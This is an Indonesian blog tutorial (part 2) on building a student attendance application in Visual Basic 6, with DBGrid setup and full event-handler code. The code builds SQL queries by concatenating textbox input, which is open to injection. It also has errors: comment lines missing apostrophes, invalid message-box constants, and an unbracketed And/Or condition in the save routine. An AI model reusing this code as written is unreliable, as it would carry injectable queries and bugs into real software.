Dbgrid (Sebagai penampil hasil), seperti pada gamabar kedua tersebut jika anda melihat ada DataGrid yang lain anda tidak perlu membuatnya anda hanya perlu satu DataGrid Saja OK!,.
DataGrid 1 pada bagian properties ubah menjadi :
Name=Data1
Caption=(Terserah anda)
DataBaseName=Path tempat anda menyimpaan data basenya contoh : (D:\LTIHAN . VB\Absensi\tabel1.mdb).
Recordsource=Tabel yang dibuat oleh Data Input sebelumnya missal : Tabel2,
recordsetType=1-type DynaSet
Untuk DbGrid1 di bagian properties:
Name=DbGrid1
Caption=terserah anda
DataSource=Data1.
Type dynaset ini berpengaruh terhadap pengurutan fileds pada DbGrid, karena dengan properties ini field tidak diurut berdasrakan kunci, tapi jika menggunkan 0-Table, maka akan diurut berdasar Index.
Kemudain untuk nama=>text3 misalnya prpertiesnya:
DataSource=Data1
dataField=nama,
lajutkan dengan text=nip ,tex=tanggal, text=kelas ,pada frame sebelum absensi (text=alpa, text=izin ,text=sakit ,text=masuk ,text=total) lakukan sama halnya pada text3.
Makanya pada saat gambar dua di running alpa dll masih dalm keadan kosong karena memang belum saya isi.
Pada
option 1=>Alpa ubah Caption=Alpa
Option2=>Masuk ubah Caption=Masuk
Option3=>Izin ubah Caption=Izin
Option4=>Sakit ubah Caption=Sakit
Nah sekarang kita buat script di masing-masing Option untuk
Option1=>Alpa:
Private Sub Option1_Click()
If Option1.Value = True Then
Text11.Text = Text7.Text
Text12.Text = Text8.Text
Text14.Text = Text2.Text
Text10.Text = Val(Text6.Text) + 1
Else
Text10.Text = Val(Text6.Text) + 0
End If
Text13.SetFocus
Text13.Text = Val(Text10.Text) + Val(Text11.Text) + Val(Text12.Text) + Val(Text14.Text)
End Sub
Perlu di perhatikan saya tidak mengubah text -text yang saya buat memang sengaja tidak saya ubah, Karena inti dari sebuah program adalah hanya si programerlah yang tahu dari maksud kode yang dia buat..he…he…
Pada text11.text=text7.text, maksudnya ketika option1. diberikan titik maka text11.text akan disi oleh data yang ada pada text7.text.
Text11.text=>izin akan tetap berisi satu pada text7.text=>setelah basen , begitu pula pada saat option2 .value =true, maka text10.text=text6.text (seudah absent).
Untuk text10.text jika Option1.value=True maka text10.text(sebelum absent)=text6.text(sesudah absent) akan ditambah satu, sehingga menjadi=val(text6.text)+1, dan anda jangan berpikir jika data ini akan langsung disimpan tapi Cuma di input hanya saja kita menambahkan command button1=Save, dari pada pusing-pusing terusin scriptnya untuk
Option2=>Izin:
Private Sub Option2_Click()
If Option2.Value = True Then
Text11.Text = Val(Text7.Text) + 1
Text10.Text = Text6.Text
Text12.Text = Text8.Text
Text14.Text = Text2.Text
Else
Text11.Text = Val(Text7.Text) + 0
End If
Text13.SetFocus
Text13.Text = Val(Text11.Text) + Val(Text10.Text) + Val(Text12.Text) + Val(Text14.Text)
End Sub
Option3=>Sakit:
Private Sub Option3_Click()
If Option3.Value = True Then
Text12.Text = Val(Text8.Text) + 1
Text10.Text = Text6.Text
Text11.Text = Text7.Text
Text14.Text = Text2.Text
Else
Text12.Text = Val(Text8.Text) + 0
End If
Text13.SetFocus
Text13.Text = Val(Text12.Text) + Val(Text11.Text) + Val(Text10.Text) + Val(Text14.Text)
End Sub
Option4=>Masuk:
Private Sub Option4_Click()
If Option4.Value = True Then
Text10.Text = Text6.Text
Text11.Text = Text7.Text
Text12.Text = Text8.Text
Text14.Text = Val(Text2.Text) + 1
Else
Text14.Text = Val(Text2.Text) + 0
End If
Text13.SetFocus
Text13.Text = Val(Text11.Text) + Val(Text10.Text) + Val(Text12.Text) + Val(Text14.Text)
End Sub
Nah kalau anda melihat text13, itu bermaksud untuk mencari jumlah seluruh absensi baik sakit, izin,masuk dan alpa akan di jumlah menjadi satu. Sebenernya anda juga bisa membuat model seperti tanpa bantuan text sedudah absent tapi cukup mennggunkan database buffer yang sifatnya menyimpan dta smentara dan ketika di klik save maka Database akan dikosongkan kembali, nah metodhe ini saya terapkan pada koreksi soal , untuk yang ini silahkan coba dicari sendiri ya?…he…he.. .
Ok karena database kita bersifat global , dan aplikasi ini kita gunakan untuk absensi siswa , maka kita tidak mungkin mengabsen secara acak berdasar Nim siswa , dan biasanay mengabsen berdasarkan Kelas oleh karena itu kita perlu pengunci untuk mengunci, misalnya saya mau absent kelas XI-A maka data yang akan tampil hanya Kelas XI-A nah sekarang kita ketik pada command4=> Lock :
Private Sub Command4_Click()
Data1.RecordSource = “select*FROM tabel2 WHERE bagian LIKE ‘*” & Text1.Text & “*'”
Data1.Refresh
DBGrid1.Refresh
Text1.SetFocus
End Sub
Oke sakarang kita coba Run tapi sebelumnya kita klik-> Project-> ProjectProperties-> jika muncul jendela kayak gini tentukan mana dulu yang akan kita jalankan kayak gini nih,
gbr3_absn_vbii
Kalau udah klik Ok.
gbr4_absn_vbii1Nah sekarang ketikin XI-A kayak yang saya contohkan terus clik Lock.
Pada bagian Dbgrid1, ditampilkan hanya data kelas XI-A aja, nah sekarang silahkan klik Option1=>Alpa, dan perahtikan pada bagian frame sesudah absent jika muncul angka 1 pada bagian Alpa maka scrip telah berjalan dengan benar, selanjutnya apakah kita akan menyimpan hasil absensi tersebut ?, pasti dong yaiyalah kan emang itu yang kita maksud daripada pusing mendingan ketikin scripnya di command=>save:
Private Sub Command1_Click()
If Text16.Text = “” Or Text3.Text = “” Or Text5.Text = “” Then
MsgBox (“Absensi Telah Selesai / Tidak Ada Object Yang akan di Simpan”)
ElseIf Text16.Text = Data1.Recordset.Fields(“nip”) And Option1.Value = True Or Option2.Value = True Or Option3.Value = True Or Option4.Value = True Then
x=MsgBox (“Thank’s you “, vbOKOnly + vbInformation, “Aplication For Master”)
Data1.Recordset.Edit
Data1.Recordset.Fields(“alpa”) = Text10.Text
Data1.Recordset.Fields(“izin”) = Text11.Text
Data1.Recordset.Fields(“sakit”) = Text12.Text
Data1.Recordset.Fields(“masuk”) = Text14.Text
Data1.Recordset.Fields(“total”) = Text13.Text
Data1.Recordset.Fields(“tgl”) = Label16.Caption
Data1.Recordset.Update
Option1.Value = False
Option2.Value = False
Option3.Value = False
Option4.Value = False
DBGrid1.Refresh
Data1.Recordset.MoveNext
Else
Z = MsgBox(“Anda Belum Memilih Keterangan Absesnsi!”, vbOKOnly + vbInformation, “Informasi”)
End If
End Sub
Untuk mencegah kesalahan ,seperti menyimpan data kosong ,object yang diabsensi sudah salah,Tanpa memilih option, jika hal ini dilakukan maka program akan memeberikan peringatan seperti: “Absensi Telah Selesai / Tidak Ada Object Yang akan di Simpan” atau “Anda Belum Memilih Keterangan Absesnsi!” tapi jika data diisi dengan benar maka akan muncul pesan “Thanks You”, nah ternyata yang seperti ini jutru lebih penting dan ribet loh ,saya aja udah berakali me-Run supaya berjalan Normal, tapi tenang ada kemaun pasti ada jalan….setuju…he… .
Itulah scrip yang terpenting dalam proses ini tapi kalau penegen tahu semua scripnya boleh asal jangan muntah ya…he…ini dya jreng”:
Private Sub Command1_Click()
‘untuk menyimpan hasil absesnsi kedalam database
If Text16.Text = “” Or Text3.Text = “” Or Text5.Text = “” Then
MsgBox (“Absensi Telah Selesai Tidak Ada Object Yang akan di Simpan”)
ElseIf Text16.Text = Data1.Recordset.Fields(“nip”) And Option1.Value = True Or Option2.Value = True Or Option3.Value = True Or Option4.Value = True Then
X = MsgBox(“Thank’s you “, vbOKOnly + vbInformation, “Aplication For Master”)
Data1.Recordset.Edit
Data1.Recordset.Fields(“alpa”) = Text10.Text
Data1.Recordset.Fields(“izin”) = Text11.Text
Data1.Recordset.Fields(“sakit”) = Text12.Text
Data1.Recordset.Fields(“masuk”) = Text14.Text
Data1.Recordset.Fields(“total”) = Text13.Text
Data1.Recordset.Fields(“tgl”) = Label16.Caption
Data1.Recordset.Update
Option1.Value = False
Option2.Value = False
Option3.Value = False
Option4.Value = False
DBGrid1.Refresh
Data1.Recordset.MoveNext ‘setalah di save maka akan menuju record selanjutnya
Else
Z = MsgBox(“Anda Belum Memilih Keterangan Absesnsi!”, vbOKOnly + vbInformation, “Informasi”)
End If
End Sub
Private Sub Command2_Click()
‘hanya refresh doang
Data1.Refresh
Data3.Refresh
End Sub
Private Sub Command3_Click()
‘keluar dari form proses absensi
X = MsgBox(“Apa ada yakin untuk Mengakhiri Pengisian Absensi ini ? “, vbYesNo + vbQuestion, “Aplication For Master”)
If X = vbYes Then
subDepan.Show
Form_Input_absensi.Hide
Else
End If
End Sub
Private Sub Command4_Click()
‘menseleksi berdasarkan kelas
Data1.RecordSource = “select*FROM tabel2 WHERE bagian LIKE ‘*” & Text1.Text & “*'”
Data1.Refresh
DBGrid1.Refresh
Text1.SetFocus
End Sub
Private Sub Command5_Click()
‘ ini untuk find menu berdasarkan nip/nim/nis
Data1.Recordset.FindFirst “nip='” & Text15.Text & “‘”
If Not Data1.Recordset.NoMatch Then
Text15.Text = “”
Text15.SetFocus
Else
X = Text15.Text
X = MsgBox(“Mohon Periksa kembali Data yang anda Cari!”, vbyesonly + vbinformasi, “Aplication For Master”)
Text15.SetFocus
End If
End Sub
Private Sub Form_Load()
‘Posisikan Form ini ketengah
Me.Move (Screen.Width – Me.Width) / 2, (Screen.Height – Me.Height) / 2
Text10.Text = “”
Text11.Text = “”
Text12.Text = “”
Text13.Text = “”
Text14.Text = “”
Text1.Text = “”
r = “Silahkan Input Nip/Nim/Nis!”
Text15.Text = r
End Sub
Private Sub Option1_Click()
‘jika di klik maka jumlah alpa akan bertambah satu
If Option1.Value = True Then
Text11.Text = Text7.Text
Text12.Text = Text8.Text
Text14.Text = Text2.Text
Text10.Text = Val(Text6.Text) + 1
Else
Text10.Text = Val(Text6.Text) + 0
End If
Text13.SetFocus
Text13.Text = Val(Text10.Text) + Val(Text11.Text) + Val(Text12.Text) + Val(Text14.Text)
End Sub
Private Sub Option2_Click()
‘jika diklik maka jumlah izin akan bertambah satu
If Option2.Value = True Then
Text11.Text = Val(Text7.Text) + 1
Text10.Text = Text6.Text
Text12.Text = Text8.Text
Text14.Text = Text2.Text
Else
Text11.Text = Val(Text7.Text) + 0
End If
Text13.SetFocus
Text13.Text = Val(Text11.Text) + Val(Text10.Text) + Val(Text12.Text) + Val(Text14.Text)
End Sub
Private Sub Option3_Click()
jika diklik maka jumlah sakit akan bertambah satu
If Option3.Value = True Then
Text12.Text = Val(Text8.Text) + 1
Text10.Text = Text6.Text
Text11.Text = Text7.Text
Text14.Text = Text2.Text
Else
Text12.Text = Val(Text8.Text) + 0
End If
Text13.SetFocus
Text13.Text = Val(Text12.Text) + Val(Text11.Text) + Val(Text10.Text) + Val(Text14.Text)
End Sub
Private Sub Option4_Click()
jika diklik maka jumlah izin akan bertambah satu
If Option4.Value = True Then
Text10.Text = Text6.Text
Text11.Text = Text7.Text
Text12.Text = Text8.Text
Text14.Text = Val(Text2.Text) + 1
Else
Text14.Text = Val(Text2.Text) + 0
End If
Text13.SetFocus
Text13.Text = Val(Text11.Text) + Val(Text10.Text) + Val(Text12.Text) + Val(Text14.Text)
End Sub
Private Sub Text1_KeyPress(KeyAscii As Integer)
‘ini hanya untuk di Enter supaya pidah ke field berikutnya
If KeyAscii = 13 Then
Command4.SetFocus
End If
End Sub
Private Sub Text15_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
Command5.SetFocus
End If
End Sub
Private Sub Timer1_Timer()
Label14.Caption = Format(Time, “hh:mm:ss:am/pm”)’cuma format jam doang
Label16.Caption = Format(Date, “dd/mmmm/yyyy”)
End Sub
Sekarang kita coba input absensi dan lihat hasilnya missal saya mw absent kelas XI-B,
gbr5_absn_vbiiHasilnya udah langsung bisa dilihat , ketika saya klik option(keterangan) masuk maka pada frame sesudah absent bagian masuk= 1(bertambah satu yang mulanya Nol) dan jika kita memilih absen masuk lagi maka akan bertambah menjadi dua , dan tanggalnya bersifat update pada field pertama dengan nama Lina Marlina tertera tgl 11/02/2009, sedangkan yang lainya tgl 07/02/2009
More aboutMembuat Aplikasi Absensi Menggunakan Visual Basic ( Part 2 )